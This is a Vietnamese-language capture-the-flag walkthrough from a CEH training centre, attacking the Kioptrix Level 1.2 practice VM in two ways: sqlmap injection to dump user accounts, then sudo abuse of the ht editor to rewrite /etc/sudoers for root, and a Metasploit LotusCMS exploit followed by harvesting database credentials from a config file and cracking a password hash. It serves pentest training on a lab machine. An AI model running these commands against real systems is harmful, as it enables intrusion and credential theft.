Hack Kioptrix Level-1.2 (Thử thách Boot2Root)

CEH VIETNAM
7 min readFeb 9, 2023

--

Xin chào các bạn! Hôm nay chúng ta sẽ thực hiện một thử thách CTF khác được gọi là Kioptrix: Cấp độ 1.2 (#3) . Đây là một thử thách boot2root được cung cấp để thực hành với mức độ bảo mật của dành cho người mới bắt đầu. Vì vậy, hãy cố gắng vượt qua nó. Nhưng trước đó xin lưu ý rằng bạn cần tải virtual-labs xuống từ đây

https://download.vulnhub.com/kioptrix/KVM3.rar

Đây là bài thực hành local trên máy ảo dành cho các lớp học EC Council CEH v12 hay CompTIA Pentest +

Phương pháp thâm nhập (Phương pháp 1)

  • Quét mạng (Nmap, netdetect)
  • Lướt cổng dịch vụ HTTP (80)
  • Quét SQLMAP
  • Trích xuất cơ sở dữ liệu và thông tin xác thực người dùng
  • Truy cập SSH vào mục tiêu với một người dùng cụ thể
  • Khai thác mục tiêu với SUID-bit và nhị phân SUDO
  • Nhận quyền truy cập Root và chụp cờ.

Phương pháp thâm nhập (Phương pháp 2)

  • Quét mạng (Nmap, netdetect)
  • Lướt cổng dịch vụ HTTP (80)
  • Xác định khai thác cho ứng dụng CMS dễ bị tấn công
  • Khai thác mục tiêu thông qua Metasploit
  • Nhận quyền truy cập Root và chụp cờ.

Hãy tấn công mục tiêu !

Bắt đầu với việc tìm mục tiêu bằng cách sử dụng:

netdiscover

Mục tiêu của chúng ta là 192.168.1.101 Bây giờ hãy quét mục tiêu bằng nmap:

nmap -A 192.168.1.101

Với kết quả quét nmap, bạn có thể thấy các dịch vụ đang chạy trên 2 cổng là 22,80

Khi có dịch vụ HTTP đang chạy, hãy mở nó trong trình duyệt của mình bằng IP http://192.168.1.101. Không có gì đáng kể trên trang web này.

Nhấp vào menu Blog và trang bên dưới sẽ xuất hiện. Ở đây chúng tôi sẽ nhận được một manh mối để kiểm tra trang

http://kioptrix3.com/gallery

Trước khi điều hướng đến trang web, hãy ánh xạ các mục máy chủ cho URL kioptrix3.com thành IP 192.168.1.101 trong tệp của máy chủ như sau nếu không trình duyệt sẽ tìm kiếm trên web :

Đối với Windows C:\windows\system32\driver\etc\hosts

Đối với Linux: /etc/hosts

Duyệt đến trang web http://kioptrix3.com/gallery và điều hướng trên một vài mục

Sau khi điều hướng qua trang web, tôi nhận thấy rằng bằng cách nhấp vào tùy chọn sắp xếp và id ảnh, URL có tham số “id” có thể biểu thị lỗ hổng SQL injection. Sau khi đặt dấu ‘ sau php?id=1 , tức là (bằng cách thử với http://kioptrix3.com/gallery/gallery.php?id=1 ‘ ), dấu nhắc lỗi SQL sẽ xuất hiện như hình bên dưới. Điều này có nghĩa là URL web có thể bị tấn công SQL injection. Bây giờ các bạn có thể dùng sqlmap hay havji … để pentest

Hãy liệt kê các cơ sở dữ liệu bằng lệnh SQLMAP để biết thêm chi tiết

sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 --dbs –batch

Sau khi hoàn tất thành công quá trình tấn công với SQLMAP, chúng ta biết rằng các cơ sở dữ liệu được liệt của trang web.

sqlmap -u kioptrix3.com/gallery/gallery.php?id=1 -T dev_accounts --dump

Khi quét thêm cơ sở dữ liệu gallery và bảng cụ thể là dev_accounts , chúng ta tình cờ phát hiện ra 2 tên người dùng như được liệt kê bên dưới là dreg và loneferret

Thực hiện SSH với user loneferret như sau:

ssh loneferret@192.168.1.101

Hãy ls để tìm hiểu chi tiết hơn

ls

Khi liệt kê, chúng tôi thấy rằng chúng tôi có 2 tệp checksec.sh và CompanyPolicy.README. Tôi không tìm thấy thông tin hữu ích trên tệp checksec.h và đã tiến hành trích xuất nội dung của CompanyPolicy.README

cat CompanyPolicy.README

Đầu ra của tệp CompanyPolicy.README tiết lộ (tham khảo ảnh chụp màn hình bên dưới), đó là ta có thể cần thực hiện sudo cho ht (trình chỉnh sửa). Đây có thể là một đầu mối cho quá trình pentest sâu hơn

Tại thời điểm này, hãy cũng kiểm tra nội dung của tệp sudo

sudo –l

Theo đầu ra, người dùng loneferret được phép chạy HT Editor dưới dạng sudo và không có mật khẩu (NOPASSWD) nào được đặt cho người dùng này trong khi thực hiện lệnh /usr/local/bin/ht

Chạy HT Editor dưới dạng sudo

Lưu ý: sudo ht sẽ cho phép chỉnh sửa bất kỳ tệp nào trên hệ thống. Do đó, chúng tôi sẽ chỉnh sửa tệp /etc/sudoers. Trước khi chỉnh sửa tệp sudoers, hãy đảm bảo xuất TERM để có thể sử dụng thành phần đồ họa của lệnh của mình

export TERM=xterm-color
sudo ht /etc/sudoers

Sau khi hoàn tất, trình chỉnh sửa HT sẽ mở ra

Nhấn F3 để mở tệp

Dưới đây là một đoạn trích của tệp /etc/sudoers. Chỉnh sửa tệp để chúng tôi có thể sử dụng sudo mà không bị giới hạn.

Tham khảo mục dưới đây trong tập tin

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht

Bây giờ thay đổi mục nhập cho người dùng loneferret như sau

loneferret ALL=(ALL) NOPASSWD: ALL

Khi thay đổi nội dung của tệp, hãy chạy lệnh sudo su từ thiết bị đầu cuối của người dùng

sudo su

Done ! Chúng ta đã có quyền truy cập ROOT!!

cd /root

Thực hiện thao tác liệt kê thư mục ta sẽ được file congrats.txt !

ls

Phương pháp 2

Hãy khám phá một phương pháp khác để thực hiện nhiệm vụ tương tự

curl –v http://kioptrix3.com/

Lệnh curl sẽ cung cấp thông tin chi tiết của trang web. Với điều này, chúng ta cũng biết rằng đó là một trang web CMS như được tô sáng màu vàng bên dưới (LotusCMS)

Bây giờ chúng tôi sẽ cố gắng tìm kiếm một số khai thác có sẵn trong Metasploit và may mắn thay, chúng tôi tình cờ tìm thấy khai thác cho LotusCMS

searchsploit LotusCMS

Để sử dụng khai thác này, chỉ cần nhập thông tin sau vào Metasploit:

use exploit/multi/http/lcms_php_exec
set rhost 192.168.1.101
set uri /
exploit

Thực hiện ls thư mục và quan sát thư mục thư viện

ls

Bây giờ điều hướng đến thư mục thư viện và thực hiện danh sách thư mục. Ở đây chúng ta có thể thấy nhiều tệp. Tôi đã duyệt qua nhiều tệp trong số này; trong đó tệp gconfig.php có vẻ thú vị.

cd gallery
ls

Bây giờ hãy xem liệu chúng ta có thể lấy một số thông tin hữu ích từ tệp gconfig.php không

cat gconfig.php

Đầu ra của tệp hiển thị thông tin đăng nhập cho cơ sở dữ liệu thư viện

Username :root
Password : fuckeyou

Hãy thực hiện dirb cho URL http://192.168.1.101/

dirb http://192.168.1.101/

Với điều này, chúng tôi sẽ nhận được thông tin từ nhiều thư mục như trong đầu ra bên dưới. Tuy nhiên, thư mục phpmyadmin có vẻ khá thú vị, vì nó có thể có một số thông tin quan trọng cần hiển thị

Duyệt qua URL http://192.168.1.101/phpmyadmin và nhập thông tin đăng nhập (nhận được từ phía trên)

Điều hướng đến cơ sở dữ liệu gallery , nhấp vào dev_accounts. Sau đó bấm vào tab SQL và nhập truy vấn SQL bên dưới. Bây giờ chúng tôi có tên người dùng và mật khẩu băm!

Để bẻ khóa băm mật khẩu, chúng tôi đã sử dụng trang web http://www.hashkiller.co.uk/

A hi ha ! Chúng ta có mật khẩu là starwarsMast3r !

Đây là bài hướng dẫn biên soạn lại từ HA, các bạn hãy đọc và thực hành lại trên lab của mình.

--

--

CEH VIETNAM
CEH VIETNAM

Written by CEH VIETNAM

Trung tâm đào tạo CEH VIETNAM chuyên đào tạo các khóa học của EC Council và cung cấp Voucher thi chứng chỉ quốc tế. Website https://www.cehvietnam.com